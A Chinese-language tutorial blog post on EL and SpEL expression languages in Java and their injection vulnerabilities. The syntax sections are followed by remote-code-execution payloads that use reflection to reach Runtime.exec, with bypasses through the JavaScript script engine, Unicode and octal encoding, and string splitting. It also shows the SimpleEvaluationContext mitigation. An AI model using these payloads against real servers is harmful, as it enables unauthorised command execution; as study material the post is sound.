这篇文章主要介绍EL表达式注入和SPEL表达式注入
EL 表达式注入
EL(Expression Language)表达式是一种在Java EE(Java Platform, Enterprise Edition)中使用的表达式语言,主要用于简化JSP(JavaServer Pages)页面中的数据访问和表达式计算。EL表达式使得开发者可以在JSP页面中更方便地访问JavaBeans组件、集合、隐式对象等。
EL表达式的基本语法如下:
1 | ${expression}F |
其中,expression
是一个可以计算的表达式。EL表达式可以包含变量、运算符、方法调用等。
主要特点和用途
简化数据访问:EL表达式可以简化对JavaBeans属性的访问,例如:
1
${user.name}
这行代码会自动调用
user
对象的getName()
方法。集合访问:EL表达式可以方便地访问集合(如List、Map)中的元素,例如:
1
2${myList[0]}
${myMap['key']}隐式对象:EL表达式提供了一些隐式对象,如
param
、requestScope
、sessionScope
等,用于访问请求参数、请求范围、会话范围等数据。运算符:EL表达式支持各种运算符,包括算术运算符、关系运算符、逻辑运算符等。
示例
假设有一个名为user
的JavaBean对象,其中包含name
和age
属性,可以在JSP页面中使用EL表达式来显示这些属性:
1 | <html> |
在这个例子中,${user.name}
和${user.age}
会分别调用user
对象的getName()
和getAge()
方法,并将结果显示在页面上。
EL表达式在JSP开发中非常有用,它简化了代码,提高了开发效率,并且使得JSP页面更加清晰和易于维护。
基础语法
获取变量
Page Scope(页面作用域):
- 作用域范围:仅在当前JSP页面内有效。
- 隐式对象:
pageScope
。 - 示例:
${pageScope.myVariable}
。
Request Scope(请求作用域):
- 作用域范围:在一次HTTP请求内有效,包括请求转发。
- 隐式对象:
requestScope
。 - 示例:
${requestScope.myVariable}
。
Session Scope(会话作用域):
- 作用域范围:在一次用户会话内有效,通常跨越多个请求。
- 隐式对象:
sessionScope
。 - 示例:
${sessionScope.myVariable}
。
Application Scope(应用作用域):
- 作用域范围:在整个Web应用程序内有效,所有用户共享。
- 隐式对象:
applicationScope
。 - 示例:
${applicationScope.myVariable}
。
如果没有指定作用域,EL表达式会按照以下顺序查找变量:
- Page Scope
- Request Scope
- Session Scope
- Application Scope
例如:
1 | ${myVariable} |
EL表达式会依次在Page Scope、Request Scope、Session Scope和Application Scope中查找myVariable
,并返回第一个找到的值。
示例
假设在Request Scope中有一个名为user
的变量,可以在JSP页面中使用EL表达式来访问它:
1 | <html> |
在这个例子中,${user.name}
和${user.age}
会自动在Request Scope中查找user
对象,并调用其getName()
和getAge()
方法。
操作符
类型 | 符号 |
---|---|
算术型 | +、-(二元)、* 、/、div、%、mod、-(一元) |
逻辑型 | and、&&、or、双管道符、!、not |
关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
空 | empty 空操作符是前缀操作,可用于确定值是否为空。 |
条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
在EL(Expression Language)表达式中,隐式对象是预定义的变量,用于访问特定的数据或对象。这些隐式对象提供了对请求参数、请求头、作用域变量等的便捷访问方式。以下是一些常用的EL隐式对象:
1. 作用域相关的隐式对象
pageScope
:用于访问Page Scope中的变量。1
${pageScope.myVariable}
requestScope
:用于访问Request Scope中的变量。1
${requestScope.myVariable}
sessionScope
:用于访问Session Scope中的变量。1
${sessionScope.myVariable}
applicationScope
:用于访问Application Scope中的变量。1
${applicationScope.myVariable}
2. 请求相关的隐式对象
param
:用于访问请求参数的单个值。1
${param.username}
paramValues
:用于访问请求参数的所有值(适用于多值参数)。1
${paramValues.hobbies[0]}
header
:用于访问请求头的单个值。1
${header['User-Agent']}
headerValues
:用于访问请求头的所有值(适用于多值头)。1
${headerValues['Accept-Language'][0]}
3. 其他隐式对象
initParam
:用于访问Web应用程序的初始化参数。1
${initParam.myInitParam}
cookie
:用于访问请求中的cookie值。1
${cookie.myCookie.value}
pageContext
:用于访问JSP页面的PageContext对象,提供了对其他隐式对象的访问。1
${pageContext.request.contextPath}
示例
假设有一个表单提交,请求参数中包含
username
,可以在JSP页面中使用EL表达式来获取该参数的值:1
2
3
4
5<html>
<body>
<h1>Welcome, ${param.username}!</h1>
</body>
</html>在这个例子中,
${param.username}
会自动获取请求参数username
的值,并显示在页面上。
在EL(Expression Language)中,函数是一种可以被调用的代码单元,用于执行特定的操作或计算。EL函数通常与自定义标签库(Tag Library)一起使用,这些函数可以在JSP页面中通过特定的语法进行调用。
函数
定义EL函数
EL函数通常在自定义标签库描述文件(Tag Library Descriptor, TLD)中定义。TLD文件是一个XML文件,用于描述标签库中的标签和函数。
以下是一个简单的TLD文件示例(在 WEB-INF 文件夹下),定义了一个名为toUpperCase
的EL函数:
1 |
|
在这个示例中:
<name>
元素定义了函数的名称,这里是toUpperCase
。<function-class>
元素指定了实现该函数的Java类的全限定名。<function-signature>
元素指定了函数的签名,包括返回类型和参数类型。
实现EL函数
在Java类中实现EL函数,例如:
1 | package com.example; |
在JSP中使用EL函数
在JSP页面中使用EL函数之前,需要先导入标签库。可以使用<%@ taglib %>
指令来导入标签库:
1 | <%@ taglib prefix="my" uri="http://example.com/myfunctions" %> |
然后,可以在JSP页面中使用EL表达式调用该函数:
1 | <html> |
在这个示例中,${my:toUpperCase("hello world")}
会调用MyFunctions
类中的toUpperCase
方法,并将结果显示在页面上。
禁用/启用EL表达式
全局禁用EL表达式
web.xml 中进入如下配置:
1 | <jsp-config> |
单个文件禁用EL表达式
在JSP文件中可以有如下定义:
1 | <%@ page isELIgnored="true" %> |
该语句表示是否禁用EL表达式,TRUE 表示禁止,FALSE 表示不禁止。
JSP2.0 中默认的启用EL表达式。
EL注入漏洞
EL表达式注入漏洞和 SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在 Java 程序代码中,即 Java 程序中的EL表达式内容全部或部分是从外部获取的。
通用 PoC
1 | //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) |
这个payload是一个典型的Java表达式语言(EL)注入攻击的例子。它利用了Java的反射机制来执行系统命令。下面是对这个payload的详细分析:
${...}
: 这是Java表达式语言(EL)的语法,用于在JSP页面中动态求值。pageContext.setAttribute("a", ...)
: 这行代码的目的是在pageContext
对象上设置一个名为a
的属性。这个属性的值是通过后面的表达式计算得出的。"".getClass().forName("java.lang.Runtime")
: 这部分代码通过空字符串""
获取String
类的类对象,然后调用forName
方法加载java.lang.Runtime
类。java.lang.Runtime
类提供了与运行时环境交互的方法。getMethod("exec", "".getClass())
: 这部分代码获取java.lang.Runtime
类中的exec
方法,该方法用于执行系统命令。"".getClass()
返回String
类的类对象,作为exec
方法的参数类型。invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "calc.exe")
: 这部分代码执行以下步骤:"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
: 获取java.lang.Runtime
类的getRuntime
方法,并调用它以获取Runtime
实例。getRuntime
方法是静态的,所以invoke(null)
调用它。invoke(..., "calc.exe")
: 使用上一步获取的Runtime
实例调用exec
方法,并传入参数"calc.exe"
。这实际上是在执行系统命令calc.exe
,通常是启动Windows计算器应用程序。
总结来说,这个payload的目的是通过Java反射机制在服务器上执行系统命令calc.exe
。
绕过
基础 EXP
1 | "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}" |
利用 ScriptEngine 调用 JS 引擎绕过
导入依赖
1 | <dependency> |
当然,以下是给你的代码添加注释的版本:
1 | package demo3; |
POC解释
1 | ${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")} |
这一段代码是一个Java表达式语言(EL)字符串,它利用了Java的脚本引擎来执行系统命令。以下是对这段代码的详细解释:
${}
:这是Java表达式语言(EL)的语法,用于在字符串中嵌入表达式,并计算表达式的值。''.getClass()
:这是一个空字符串(''
)调用getClass()
方法,返回String
类的Class
对象。这里使用空字符串只是为了获取Class
对象,实际上任何对象都可以用来调用getClass()
。.forName("javax.script.ScriptEngineManager")
:调用Class
对象的forName
方法,加载javax.script.ScriptEngineManager
类。这个类是Java脚本API的一部分,用于管理脚本引擎。.newInstance()
:调用ScriptEngineManager
类的newInstance
方法,创建一个新的ScriptEngineManager
实例。.getEngineByName("JavaScript")
:调用ScriptEngineManager
实例的getEngineByName
方法,获取名为 “JavaScript” 的脚本引擎。Java支持多种脚本语言,这里指定使用JavaScript引擎。.eval("java.lang.Runtime.getRuntime().exec('Calc.exe')")
:调用JavaScript引擎的eval
方法,执行一段JavaScript代码。这段JavaScript代码调用了Java的Runtime
类的exec
方法,执行系统命令Calc.exe
。
总结
这段代码的目的是通过Java的脚本引擎执行系统命令 Calc.exe
。虽然这段代码在技术上是可行的,但它展示了如何通过Java表达式语言执行任意系统命令,这在实际应用中是非常危险的,因为它可能导致安全漏洞。在生产环境中,应严格限制和审查表达式的内容,避免执行任意系统命令。
利用 Unicode 编码绕过
1 | // Unicode编码内容为前面反射调用的PoC |
利用八进制编码绕过
1 | // 八进制编码内容为前面反射调用的PoC |
SPEL表达式注入
介绍
Spring Expression Language(SPEL)是一种功能强大的表达式语言,用于在运行时查询和操作对象图。它是Spring框架的一部分,旨在提供一种简洁而灵活的方式来处理复杂的表达式求值。
SPEL的主要特点包括:
- 灵活性:支持字面量、属性、方法、数组、列表、内联列表、内联数组、三元运算符、正则表达式等多种表达式。
- 类型支持:允许访问类静态方法和常量。
- 集合操作:支持对集合进行过滤、投影等操作。
- 模板表达式:允许混合字面量和表达式,使得配置更加灵活。
SPEL的应用场景包括:
- Spring配置文件:在XML或注解配置中使用SPEL进行动态配置。
- Spring Security:用于定义安全规则和权限检查。
- Spring Data:在查询和条件表达式中使用SPEL。
通过SPEL,开发者可以编写简洁而强大的表达式,从而在运行时动态地处理数据和逻辑。
SpEL 表达式基础
SPEL定界符
在Spring Expression Language(SPEL)中,定界符(Delimiter)用于标识表达式的开始和结束。SPEL的默认定界符是#{}
。这意味着当在Spring配置文件或注解中使用SPEL表达式时,需要将表达式放在#{}
之间。
例如,在Spring配置文件中,可以这样使用SPEL表达式:
1 | <bean id="exampleBean" class="com.example.ExampleBean"> |
在这个例子中,#{systemProperties['user.name']}
是一个SPEL表达式,它从系统属性中获取当前用户的用户名。
在注解中,SPEL表达式的使用方式类似:
1 |
|
这里,@Value
注解用于注入一个值,而#{systemProperties['user.name']}
是一个SPEL表达式,用于获取系统属性中的用户名。
总结来说,SPEL的定界符是#{}
,它用于标识表达式的边界,使得Spring能够识别并解析其中的表达式。
SPEL表达式类型
字面量表达式
这些字面量表达式可以直接在 SpEL 中使用,例如在 Spring 的配置文件或注解中:
1 |
|
通过这些字面量表达式,可以在运行时将这些固定值注入到 Spring 管理的 Bean 中。
属性表达式
1 | public class User2 { |
方法表达式
1 | public class User2 { |
操作符表达式
- 算术操作符:例如
a + b
、c - d
- 比较操作符:例如
a > b
、c == d
- 逻辑操作符:例如
a and b
、c or d
- 正则表达式:例如
name matches 'John.*'
- 三元操作符:例如
condition ? trueExpression : falseExpression
- Elvis 操作符:例如
name ?: 'Unknown'
- 安全导航操作符:例如
user?.name
,避免NullPointerException
1 | public class User{ |
类型表达式
在 SpEL 表达式中,使用 T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
假设我们有一个类 Constants
,其中包含一个静态字段 MAX_VALUE
:
1 | java复制public class Constants { |
我们可以使用SpEL来获取这个静态字段的值。在Spring配置中,我们可以这样写:
1 | java复制@Value("#{T(com.example.Constants).MAX_VALUE}") |
在这个例子中:
T(com.example.Constants)
是SpEL的类型表达式,用于引用Constants
类。.MAX_VALUE
用于访问Constants
类中的静态字段MAX_VALUE
。
这样,maxValue
字段将被注入 Constants.MAX_VALUE
的值,即 100
。
使用 T(Type)
来表示 java.lang.Class
实例,Type 必须是类全限定名,但 ”java.lang”
包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
这里就有潜在的攻击面了
因为我们java.lang.Runtime
这个包也是包含于java.lang
的包的,所以如果能调用Runtime
就可以进行命令执行
1 | public class test { |
1 | public class user{ |
SpEL 用法
Spring Expression Language (SpEL) 是一种强大的表达式语言,支持在运行时查询和操作对象图。SpEL 可以用于多种场景,包括但不限于以下三种主要用法:
在Spring配置文件中使用SpEL:
- 在Spring的XML配置文件或注解中使用SpEL表达式来动态设置Bean的属性值。
- 例如,在XML配置文件中:
1
2
3<bean id="exampleBean" class="com.example.ExampleBean">
<property name="message" value="#{systemProperties['user.name']}" />
</bean> - 在注解中:
1
2
private String message;
在Java代码中使用SpEL:
- 在Java代码中通过
ExpressionParser
和SpelExpressionParser
解析和执行SpEL表达式。 - 例如:
1
2
3
4
5
6
7
8
9
10
11import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelExample {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "('Hello' + ' World').toUpperCase()";
String result = parser.parseExpression(expression).getValue(String.class);
System.out.println(result); // 输出: HELLO WORLD
}
}
- 在Java代码中通过
在Spring Security中使用SpEL:
- Spring Security 支持使用SpEL来定义安全规则和访问控制。
- 例如,在Spring Security配置中:
1
2
3
4
5
6
7http
.authorizeRequests()
.antMatchers("/admin/**").hasRole("ADMIN")
.antMatchers("/user/**").access("hasRole('USER') and authentication.name == 'user'")
.anyRequest().authenticated()
.and()
.formLogin(); - 在这个例子中,
access
方法使用了SpEL表达式来定义访问控制规则。
总结:
- SpEL 可以在Spring配置文件中动态设置属性值。
- SpEL 可以在Java代码中解析和执行表达式。
- SpEL 可以在Spring Security中定义安全规则和访问控制。
恶意指令执行
1 | package poc; |
创建类实例
1 | package demo1; |
SpEL运算
基本运算
运算符类型 | 运算符 |
---|---|
算数运算 | +, -, *, /, %, ^ |
关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 | and, or, not, ! |
条件运算 | ?:(ternary), ?:(Elvis) |
正则表达式 | matches |
以下是使用 SpEL 表达式 #{}
的形式来表示各种运算的示例:
算数运算
1 | #{1 + 2} // 加法 |
关系运算
1 | #{3 < 5} // 小于 |
逻辑运算
1 | #{true and false} // 逻辑与 |
条件运算
1 | #{2 > 1 ? 'yes' : 'no'} // 三元运算符 |
正则表达式
1 | #{'hello' matches 'h.*o'} // 正则表达式匹配 |
集合操作
1. 访问集合元素
可以使用索引来访问列表或数组中的元素。例如:
1 | List<String> list = new ArrayList<>(); |
2. 映射操作
可以使用键来访问映射中的值。例如:
1 | Map<String, String> map = new HashMap<>(); |
3. 集合过滤
可以使用 ?[]
运算符来过滤集合中的元素。例如:
1 | List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5); |
4. 集合投影
可以使用 ![]
运算符来选择集合中的特定属性。例如:
1 | class Person { |
5. 集合排序
可以使用 sort()
方法对集合进行排序。例如:
1 | List<Integer> numbers = Arrays.asList(5, 3, 1, 4, 2); |
6. 集合聚合
可以使用聚合函数(如 min()
、max()
、average()
)来处理集合。例如:
1 | List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5); |
7. 集合转换
可以使用 collect()
方法将集合转换为另一种类型。例如:
1 | List<String> names = Arrays.asList("Alice", "Bob"); |
完整代码参考
1 | package demo1; |
自定义方法
首先,需要定义一个静态方法,这个方法将作为自定义函数。接下来,需要在SpEL的评估上下文中注册这个自定义函数。可以使用 StandardEvaluationContext
的 registerFunction
方法来完成这个任务。
1 | package demo3; |
SPEL注入漏洞
原理
SimpleEvaluationContext 和 StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext:
SimpleEvaluationContext:针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。它旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用。
StandardEvaluationContext:公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
由于 SpEL 表达式可以操作类及其方法,可以通过类类型表达式 T(Type)
来调用任意类方法,这是因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了 SpEL 的所有功能。在允许用户控制输入的情况下,这可能导致任意命令执行。
例如,以下代码展示了如何使用 SpEL 表达式执行系统命令:
1 | public class BasicCalc { |
在这个例子中,SpEL 表达式 T(java.lang.Runtime).getRuntime().exec("calc")
被解析并执行,导致计算器程序(在 Windows 系统上)被启动。
为了防止这种安全风险,可以使用 SimpleEvaluationContext 来限制表达式的功能,避免执行危险的操作:
1 | public class BasicCalc { |
在这个修改后的例子中,使用 SimpleEvaluationContext 来解析和执行表达式,由于 SimpleEvaluationContext 不支持 Java 类型引用和构造函数,因此表达式 T(java.lang.Runtime).getRuntime().exec("calc")
将无法执行,从而避免了安全风险。
POC
1 | // PoC原型 |
bypass
1 | // Bypass技巧 |
JavaScript Engine Bypass
调用js引擎的eval方法执行java恶意代码。
可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
1 | ScriptEngineManager sem = new ScriptEngineManager(); |
可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],可以通过下面代码知道。
1 | ScriptEngineManager manager = new ScriptEngineManager(); |
那么 payload 也就显而易见
1 | // JavaScript引擎通用PoC |
nashorn
作 Engine
1 | String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" + "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")"; |
1 | public static void main(String[] args) throws ScriptException { |
javascript
作 Engine
1 | new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\") |
1 | public static void main(String[] args) throws ScriptException { |
参考
Java 之 EL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)